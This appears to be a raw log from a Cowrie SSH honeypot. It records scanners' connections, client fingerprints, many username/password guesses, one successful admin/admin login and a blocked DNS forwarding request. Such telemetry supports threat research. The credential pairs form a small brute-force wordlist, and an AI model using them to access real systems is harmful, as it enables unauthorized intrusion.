{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:02.211262Z","src_ip":"103.118.29.129","session":"f82f5ff1ddf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:03.205750Z","src_ip":"103.118.29.129","session":"f82f5ff1ddf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:04.455607Z","src_ip":"103.118.29.129","session":"f82f5ff1ddf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.38","src_port":30148,"dst_ip":"10.17.0.5","dst_port":22,"session":"639b4a968132","protocol":"ssh","message":"New connection: 65.49.1.38:30148 (10.17.0.5:22) [session: 639b4a968132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:31.581451Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:31.586115Z","src_ip":"65.49.1.38","session":"639b4a968132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:31.593372Z","src_ip":"65.49.1.38","session":"639b4a968132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35030,"dst_ip":"10.17.0.5","dst_port":22,"session":"10a9553643c2","protocol":"ssh","message":"New connection: 87.251.64.176:35030 (10.17.0.5:22) [session: 10a9553643c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:34.798525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:34.803810Z","src_ip":"87.251.64.176","session":"10a9553643c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:34.900328Z","src_ip":"87.251.64.176","session":"10a9553643c2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:35.189412Z","src_ip":"87.251.64.176","session":"10a9553643c2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:35.287918Z","session":"10a9553643c2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:35.385616Z","src_ip":"87.251.64.176","session":"10a9553643c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:35.485922Z","src_ip":"87.251.64.176","session":"10a9553643c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":52234,"dst_ip":"10.17.0.5","dst_port":22,"session":"6748c9551431","protocol":"ssh","message":"New connection: 200.39.46.41:52234 (10.17.0.5:22) [session: 6748c9551431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:36.261659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:36.264943Z","src_ip":"200.39.46.41","session":"6748c9551431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:36.408402Z","src_ip":"200.39.46.41","session":"6748c9551431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei2024","message":"login attempt [root/Huawei2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:37.001530Z","src_ip":"200.39.46.41","session":"6748c9551431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":48154,"dst_ip":"159.203.135.109","dst_port":22,"session":"9097cde2d585","protocol":"ssh","message":"New connection: 43.242.203.160:48154 (159.203.135.109:22) [session: 9097cde2d585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:37.856038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:37.899845Z","src_ip":"43.242.203.160","session":"9097cde2d585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:38.145670Z","src_ip":"200.39.46.41","session":"6748c9551431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:38.236135Z","src_ip":"43.242.203.160","session":"9097cde2d585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:39.401755Z","src_ip":"43.242.203.160","session":"9097cde2d585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:40.679597Z","src_ip":"43.242.203.160","session":"9097cde2d585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":45664,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e2976fc278b","protocol":"ssh","message":"New connection: 45.137.172.116:45664 (10.17.0.5:22) [session: 0e2976fc278b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:50.789716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:50.794285Z","src_ip":"45.137.172.116","session":"0e2976fc278b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:50.893902Z","src_ip":"45.137.172.116","session":"0e2976fc278b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:51.309758Z","src_ip":"45.137.172.116","session":"0e2976fc278b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:52.409634Z","src_ip":"45.137.172.116","session":"0e2976fc278b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":15956,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6a071b60407","protocol":"ssh","message":"New connection: 2.57.121.112:15956 (159.203.135.109:22) [session: d6a071b60407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:52.430085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:52.435072Z","src_ip":"2.57.121.112","session":"d6a071b60407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:52.539120Z","src_ip":"2.57.121.112","session":"d6a071b60407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Dunce1","message":"login attempt [admin/Dunce1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:53.027298Z","src_ip":"2.57.121.112","session":"d6a071b60407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dumbass1","message":"login attempt [admin/dumbass1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:54.135120Z","src_ip":"2.57.121.112","session":"d6a071b60407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"duke11","message":"login attempt [admin/duke11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:55.243188Z","src_ip":"2.57.121.112","session":"d6a071b60407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dudelove","message":"login attempt [admin/dudelove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:56.350434Z","src_ip":"2.57.121.112","session":"d6a071b60407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ducky1","message":"login attempt [admin/ducky1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:57.458693Z","src_ip":"2.57.121.112","session":"d6a071b60407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":51556,"dst_ip":"10.17.0.5","dst_port":22,"session":"c05975a09283","protocol":"ssh","message":"New connection: 202.51.214.99:51556 (10.17.0.5:22) [session: c05975a09283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:58.462130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:58.467408Z","src_ip":"202.51.214.99","session":"c05975a09283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:58.573063Z","src_ip":"2.57.121.112","session":"d6a071b60407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:58.710138Z","src_ip":"202.51.214.99","session":"c05975a09283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":36956,"dst_ip":"10.17.0.5","dst_port":22,"session":"14530b7f1872","protocol":"ssh","message":"New connection: 69.48.205.231:36956 (10.17.0.5:22) [session: 14530b7f1872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:59.471169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:59.475060Z","src_ip":"69.48.205.231","session":"14530b7f1872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:59.525381Z","src_ip":"69.48.205.231","session":"14530b7f1872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:59.711498Z","src_ip":"202.51.214.99","session":"c05975a09283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:05:59.765533Z","src_ip":"69.48.205.231","session":"14530b7f1872","protocol":"ssh"}
